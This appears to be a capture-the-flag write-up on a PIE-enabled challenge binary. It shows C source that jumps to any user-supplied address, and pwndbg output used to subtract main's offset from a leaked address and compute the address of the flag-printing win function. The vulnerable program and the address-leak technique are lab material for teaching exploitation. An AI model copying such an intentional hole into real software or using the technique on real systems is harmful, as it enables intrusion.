Title here
Summary here

August 5, 20252 minutes
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
This binary is compiled with PIE (Position Independent Executable), which allows its memory addresses to be randomized at runtime through ASLR (Address Space Layout Randomization).
The program prints an address that changes on every run; that address points to the main function. To get the PIE base that randomizes the addresses, we subtract the offset of main from the leaked address, which gives us the PIE base address
pwndbg> disass main
Dump of assembler code for function main:
0x000000000000133d <+0>: endbr64
>>> hex(0x556e594b233d - 0x000000000000133d)
'0x556e594b1000'
Once we have the PIE base, we can work out the address of the win function, which is the one that prints the flag
pwndbg> disass win
Dump of assembler code for function win:
0x00000000000012a7 <+0>: endbr64
>>> hex(0x556e594b1000 + 0x00000000000012a7)
'0x556e594b22a7'
Now, if we passed 0x556e594b22a7 to the binary, it would print the flag